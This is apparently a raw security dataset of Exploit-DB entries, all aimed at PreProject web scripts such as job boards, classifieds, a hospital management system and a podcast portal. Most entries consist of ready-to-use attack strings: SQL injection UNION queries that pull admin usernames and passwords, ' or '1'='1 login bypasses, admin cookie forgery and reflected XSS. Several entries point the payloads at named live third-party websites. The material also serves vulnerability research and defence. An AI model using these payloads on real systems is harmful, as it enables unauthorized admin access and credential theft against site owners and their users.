deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7017
Description: Pre ADS Portal 2.0 - Authentication Bypass / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-11-06
Author: G4N0K

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                              IN THE NAME OF ALLAH
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Pre ADS Portal <= 2.0 Multiple Vulnerabilities
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[~] Script:         	Pre ADS Portal
[~] Language :         	PHP
[~] Website[main]:     	http://www.preproject.com
[~] Website[script]:    http://www.preproject.com/ads.asp
[~] Type :             	Commercial
[~] Report-Date :     	05/11/2008
[~] Founder :			G4N0K <mail.ganok[at]gmail.com>

===============================================================================
===[ Admin BYpass ]===
[!] http://localhost/[path]/homeadmin/adminhome.php

===[ Admin BYpass-LIVE ]===
http://www.mideastbiz.com/homeadmin/adminhome.php



===[ XSS ]===
[!] http://localhost/[path]/homeadmin/adminhome.php?pg=1&msg=XSS
[!] http://localhost/[path]/homeadmin/signinform.php?msg=XSS

===[ XSS-LIVE ]===
[!]http://www.mideastbiz.com/homeadmin/adminhome.php?pg=1&msg=g4n0k%22%3E%3Cscript%3Ealert('G4N0K')%3C/script%3E
http://www.mideastbiz.com/homeadmin/signinform.php?msg=g4n0k%22%3E%3Cscript%3Ealert('G4N0K')%3C/script%3E



===[ Greetz ]===
[~] ALLAH
[~] Tornado2800 <Tornado2800[at]gmail.com>
[~] Hussain-X <darkangel_g85[at]yahoo.com>

//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
//ALLAH,forgimme...

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
exit(); //EoX
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2008-11-06]
Exploit-DB #13862
Description: Pre Classified Listing - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-13
Author: L0rd CrusAd3r

Exploit:
Exploit Title: Pre Classified Listing SQL Vulnerable
Vendor url:http://www.sellatsite.com
Version:1
Price:60 USD
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Published: 2010-06-14
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW members.
Spl Greetz to:inj3ct0r.com Team

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Description:

Pre Classified Listing is a vibrant and varied classified listings script
developed in ASP. Features a fully administratively controlled system where
admin can control the Site Setup, users, Ads, categories, and more. Code:
ASP 3.0 & VBScript

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQLi Vulnerability

DEMO URL :

http://server/[path]/admin/detail_ad.asp?siteid=[sqli]

# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r
Exploit-DB #7000
Description: Pre Classified Listings - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-11-05
Author: G4N0K

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                              IN THE NAME OF ALLAH
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Pre Classified Listings PHP Insecure Cookie Handling
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[~] Script:         	Pre Classified Listings PHP version
[~] Language :         	PHP
[~] Website[main]:     	http://www.preproject.com
[~] Website[script]:    http://www.preproject.com/pclphp.asp
[~] Type :             	Commercial
[~] Report-Date :     	05/11/2008
[~] Founder :			G4N0K <mail.ganok[at]gmail.com>

===============================================================================

===[ Insecure Cookie Handling ]===
Admin Panel: http://localhost/[path]/admin/
[0] javascript:document.cookie = "adminname=admin";
[1] javascript:document.cookie = "adminid=admin";



===[ LIVE ]===
Admin Panel: http://www.hostnomi.net/classi/admin/
[0] javascript:document.cookie = "adminname=admin";
[1] javascript:document.cookie = "adminid=admin";





===[ Greetz ]===
[~] ALLAH
[~] Tornado2800 <Tornado2800[at]gmail.com>
[~] Hussain-X <darkangel_g85[at]yahoo.com>

//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
//ALLAH,forgimme...

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
exit(); //EoX
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2008-11-05]
Exploit-DB #3840
Description: Pre Classifieds Listings 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2007-05-03
Author: Mehmet Ince

Exploit:
==============================================

Pre Classifieds Listings v1.0 Remote SQL Injection

==============================================

Found: Cyber-Security.org

==============================================

Exploit:
search.php?category=-1/**/union/**/select/**/pass/**/from/**/users/*
search.php?category=-1/**/union/**/select/**/name/**/from/**/users/*

==============================================

Example: http://preproject.com/phppcl/

==============================================

# milw0rm.com [2007-05-03]
Exploit-DB #14375
Description: Pre Dynamic Institution - Web Authentication Bypass
Type: webapps
Platform: php
Date: 2010-07-16
Author: D4rk357

Exploit:
#################################################################
# Exploit Title: PRE DYNAMIC INSTITUTION WEB authentication bypass

# Date: 16th july 2010

# Author: D4rk357

#Critical:high

#contact:d4rk357[at]yahoo[dot]in

Price : 150$

# Software Link:http://preproject.com/uniweb.asp
 
Greetz to :b0nd, Fbih2s,Beenu,rockey killer,The empty(), punter,eberly,prashant

Shoutz to : http://www.garage4hackers.com/forum.php , h4ck3r.in and  all ICW members
 
##############################################################################
Exploit : On login page put admin and usename and ' or '1'='1 as password . 
you will be logged into the system

 ##################################################################################
 #D4rk357
Exploit-DB #14376
Description: Pre E-Smart Cart - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-07-16
Author: D4rk357

Exploit:
#################################################################
# Exploit Title:Pre E smart cart  authentication bypass

# Date: 16th july 2010

# Author: D4rk357

#Critical:high

#contact:d4rk357[at]yahoo[dot]in

Price : 49$

# Software Link:http://preproject.com/smartcart.asp
 
Greetz to :b0nd, Fbih2s,Beenu,rockey killer,The empty(), punter,eberly,prashant

Shoutz to : http://www.garage4hackers.com/forum.php , h4ck3r.in and  all ICW members
 
##############################################################################
Exploit : On login page put admin and usename and ' or '1'='1 as password . 
you will be logged into the system

 ##################################################################################
 #D4rk357
Exploit-DB #10498
Description: Pre Hospital Management System - 'department.php?id' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-16
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: (department.php id) Remote SQL Injection Vulnerability
[?]
[~] Vendor:www.preproject.com/hms.asp
[?]
[?] Software:PRE HOSTPITAL MANAGEMENT SYSTEM
[? ]Price $750.00
[?] author: ((R3d-D3v!L))
[?]
[?]Date: 16.dec.2009
[?]T!ME: 11:30 pm
[?] Home: WwW.xP10.ME
[?]
[?] contact: X@hotmail.co.jp
[?]
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????


[?]C0Ns0LE-ERR0R

server/hms/department.php?id={SQL}


[?] pR0CESSEd T0 ACT!VE bUG:

EXP1 : server/hms/department.php?id=-19+union+select+1,2,3,password+from+admin--
EXP2 : server/hms/department.php?id=-19+union+select+1,2,3,@@version--


N073:

REAL RED DEV!L W@S h3r3 LAMERZ

GAZA !N our hearts !


[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}-----------------------------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 &#1616;ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~]{[(D!R 4ll 0R D!E)]};

[~]--------------------------------------------------------------------------------
Exploit-DB #10492
Description: Pre Hospital Management System - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-12-16
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: (4u7h 8yp455) Remote SQL Injection Vulnerability
[?]
[~] Vendor:www.preproject.com/hms.asp
[?]
[?] Software:PRE HOSTPITAL MANAGEMENT SYSTEM
[? ]Price $750.00
[?] author: ((R3d-D3v!L))
[?]
[?]Date: 16.dec.2009
[?]T!ME: 11:30 pm
[?] Home: WwW.xP10.ME
[?]
[?] contact: X@hotmail.co.jp
[?]
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????


[?] Exploit:

[?] E-/\/\A!L : x' or ' 1=1

[?] password : x' or ' 1=1



[?]demo:

[?]http://server/hms/login.php


N073:

REAL RED DEV!L W@S h3r3 LAMERZ

GAZA !N our hearts !


[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}-----------------------------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 &#1616;ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~]{[(D!R 4ll 0R D!E)]};

[~]--------------------------------------------------------------------------------
Exploit-DB #5809
Description: Pre Job Board - 'JobSearch.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-14
Author: JosS

Exploit:
--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+            Pre Job Board (JobSearch.php) Remote SQL Injection Vulnerability        +==--
--==+====================================================================================+==--
                          - dreaming of necessity is reason to comply -


[+] Info:

[~] Bug found by JosS
[~] sys-project[at]hotmail.com
[~] http://www.spanish-hackers.com/
[~] EspSeC & Hack0wn!.

[~] Software: Pre Job Board (payment)
[~] HomePage: http://www.preproject.com/
[~] Exploit: Remote SQL Injection [High]
[~] Vuln file: JobSearch.php

[~] /jobseekers/JobSearch.php (search module)

[+] Exploit:

[~] ' and 1=2 union all select 1,2,3,4,version(),user(),7,8,9,0,1,2,3,4,5/*

* In memory of rgod

--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-06-14]
Exploit-DB #7164
Description: Pre Job Board - Authentication Bypass
Type: webapps
Platform: php
Date: 2008-11-19
Author: R3d-D3V!L

Exploit:
[~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------ 
[~]Tybe: (Auth Bypass) SQL Injection Vulnerability 

[~]Vendor:http://www.preproject.com/preaspjobboard.asp

[~]Software: PRE JOB BOARD

[~]author: R3d-D3v!L 

[~] Date: 21.11.2008 

[~] Home: www.ahacker.biz 

[~] contact: N/A 
[~] ----------------------------------------------------------- 


[~] Exploit: 

username: r0' or ' 1=1-- 
password: r0' or ' 1=1-- 


[~] login for demo: 

http://preproject.com/preaspjobboard//Employee/emp_login.asp


[~]-------------------------------------------------------------------------------- 
[~] Greetz tO: keta & m4n0n & maxmos & 8orn 2 K!LL & hesham_hacker 
[~] 
[~]spechial thanks : dolly & 7am3m & Ø¹Ù…Ø§Ø¯ ,Ø§Ù„Ø²Ù‡ÙŠØ±ÙŠ 
[~] 
[~] EV!L !NS!D3 734M ---> R3d-D3v!L--EXOT!C --poison scorbion 
[~] 
[~] & xp10.biz & ahacker.biz
[~] 
[~]--------------------------------------------------------------------------------



# milw0rm.com [2008-11-19]
Exploit-DB #10522
Description: Pre Job Board 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-12-17
Author: bi0

Exploit:
# Title: Pre Job Board 1.0 SQL Bypass Vulnerability
# Date: 17/12/2009
# Author: bi0
# Software Link: http://www.preprojects.com/jobs.asp
# Version : 1.0
# CVE : ()


                ______     __     ______
               /\  == \   /\ \   /\  __ \
               \ \  __<   \ \ \  \ \ \/\ \
                \ \_____\  \ \_\  \ \_____\
                 \/_____/   \/_/   \/_____/

                 [PII_REDACTED] 01001111

[#]----------------------------------------------------------------[#]
#
# [+] Pre Job Board SQL Bypass Vulnerability
#
#  // Author Info
# [x] Author: bi0
# [x] Contact: bukibv@hotmail.com
# [x] Thanks: sp1r1t,packetdeath,Zer0flag,redking and all my friends
# [x] Irc : irc.freenode.net / #security-shell
# [*] Note : R.I.P Rock4eveR,We`ll never forget you !
#
[#]-------------------------------------------------------------------------------------------[#]
#
# [x] Exploit :
#
#   // Admin
#   http://[server]/[path]/siteadmin/admins.php
#   User : 1'or'1'='1
#   Pass : 1'or'1'='1
#
#   // Jobseeker
#   http://[server]/[path]/jobseekers/preview.php
#   User : 1'or'1'='1
#   Pass : 1'or'1'='1
#
[#]------------------------------------------------------------------------------------------[#]

#EOF
Exploit-DB #13881
Description: Pre Job Board Pro - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-06-15
Author: L0rd CrusAd3r

Exploit:
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [+] Site : Inj3ct0r.com 0
1 [+] Support e-mail : submit[at]inj3ct0r.com 1
0 0
1 ########################################## 1
0 I'm L0rd CrusAd3r member from Inj3ct0r Team 1
1 ########################################## 0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=1
Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:PHP Online Jobs Authentication Bypass
Vendor url:http://www.sellatsite.com
Version:n/a
Price:67$
Published: 2010-06-15
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue, S1ayer,d3c0d3r,KD and to
all ICW members.
Spl Greetz to:inj3ct0r.com Team, Andhrahackers.com

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Description:

PHP Online Jobs is an Extensive and Powerful script written in PHP to launch
your own jobs portal with quality features (upload resume, resume search,
pound sterling payments and much much more). It has a very high potential to
generate very heavy online revenues for you. Script is built with a focus on
increases ease of users and profits of webmasters.

PHP Online Jobs is the most comprehensive and advanced job script package
available online. Looking for the right job script to launch your
professional Job Website? Look no further!

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*Authentication Bypass Vulnerability

DEMO URL :

Job Seeker Login:-

http://server/jobpro/jobseekers/preview.php

Employee Login:-

http://server/jobpro/employers/postjob.php

Use the string a' or '1'='1 for Username and Password to gain access.


# 0day n0 m0re #
# L0rd CrusAd3r #

With R3gards,
L0rd CrusAd3r
Exploit-DB #10874
Description: Pre News Manager - 'nid' SQL Injection
Type: webapps
Platform: php
Date: 2009-12-31
Author: Hussin X

Exploit:
#  NEWS MANAGER  (nid) Remote SQL Injection Vulnerability

#    Author: Hussin X
#    Home :  www.iq-ty.com<http://www.iq-ty.com>
#    email:  darkangel_g85[at]Yahoo[DoT]com



#
# Vendor : http://www.preprojects.com/news.asp

Exploit:


server/Script/news_detail.php?nid=-136+union+select+1,2,concat_ws(0x3a,login,password),4,5,6,7+from+admin--


end

  IQ-SecuritY FoRuM
Exploit-DB #3841
Description: Pre News Manager 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2007-05-03
Author: Mehmet Ince

Exploit:
==============================================

Pre News Manager v1.0 Remote SQL Injection

==============================================

Found: Cyber-Security.org

==============================================

Script site: http://www.preproject.com/news.asp

==============================================

Exploit:
news_detail.php?nid=-1/**/union/**/select/**/0,1,2,password,4,5,6/**/from/**/admin/*

==============================================

Example: http://www.preproject.com/news%20manager/

==============================================

# milw0rm.com [2007-05-03]
Exploit-DB #15526
Description: Pre Online Tests Generator Pro - SQL Injection
Type: webapps
Platform: php
Date: 2010-11-13
Author: Cru3l.b0y

Exploit:
In The Name Of GOD
[+] Exploit Title: Pre Online Tests Generator Pro SQL Injection Vulnerability
[+] Date: 2010-11-13
[+] Author  : Cru3l.b0y
[+] Software Link: http://www.preproject.com/preexampro.asp
[+] Price : 95.00$
[+] Contact : Cru3l.b0y@gmail.com
[+] Website : WwW.PenTesters.IR
[+] Greeting: Behzad, Ahmad, ...

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
[+] Exploit : 

             http://target/path/takefreestart.php?tid=242&tid2=-1+union+select+1,2,3,group_concat(user_name,0x3a,user_pass),5,6,7,8+from+admin--&nxtq=true&q_no=1

[+] Admin Page: /admin
Exploit-DB #13992
Description: Pre PHP Classifieds - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-22
Author: Sangteamtham

Exploit:
> #######################################################################
> # Source: PHP Classifieds SQL injection Vulnerability
> # Download: http://preproject.com/products.asp
> # Dork : Power by PHP Classifieds
> # Author: Sangteamtham@gmail.com
> #
> #######################################################################

Exploit:
http://localhost/clas/search.php?category=999999 UNION SELECT
group_concat(adminid,0x3a,username,0x3a,password) from admininfo--
Exploit-DB #14378
Description: Pre Podcast Portal - Authentication Bypass
Type: webapps
Platform: php
Date: 2010-07-16
Author: D4rk357

Exploit:
#################################################################
# Exploit Title:  PRE PODCAST PORTAL AUTH BYPASS

# Date: 16th july 2010

# Author: D4rk357

#Critical:high

#contact:d4rk357[at]yahoo[dot]in

Price : 125$

# Software Link:http://preproject.com/podcast.asp
 
Greetz to :b0nd, Fbih2s,Beenu,rockey killer,The empty(), punter,eberly,prashant

Shoutz to : http://www.garage4hackers.com/forum.php , h4ck3r.in and  all ICW members
 
##############################################################################
Exploit : On PARTNER login page  put admin and usename and ' or '1'='1 as password . 
you will be logged into the system

 ##################################################################################
 #D4rk357
Exploit-DB #6997
Description: Pre Podcast Portal - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-05
Author: G4N0K

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                              IN THE NAME OF ALLAH
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
PRE PODCAST PORTAL (Tour.php id) SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[~] Script:         	PRE PODCAST PORTAL
[~] Language :         	PHP
[~] Website[main]:     	http://www.preproject.com
[~] Website[script]:    http://www.preproject.com/podcast.asp
[~] Type :             	Commercial
[~] Report-Date :     	05/11/2008
[~] Founder :			G4N0K <mail.ganok[at]gmail.com>

===============================================================================

===[ XPL ]===

[!] http://localhost/[path]/Tour.php?id=-93+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,concat(user(),0x3a,version()),15,16,17--
[!] http://localhost/[path]/Tour.php?id=-93+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,concat(user_name,0x3a,user_pass),15,16,17+FROM+admin--


===[ LIVE ]===
[+] http://www.hostnomi.net/newpod/Tour.php?id=-93+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,concat(user(),0x3a,version()),15,16,17--
[+] http://www.hostnomi.net/newpod/Tour.php?id=-93+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,concat(user_name,0x3a,user_pass),15,16,17+FROM+admin--




===[ Greetz ]===
[~] ALLAH
[~] Tornado2800 <Tornado2800[at]gmail.com>
[~] Hussain-X <darkangel_g85[at]yahoo.com>

//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
//ALLAH,forgimme...

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
exit(); //EoX
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2008-11-05]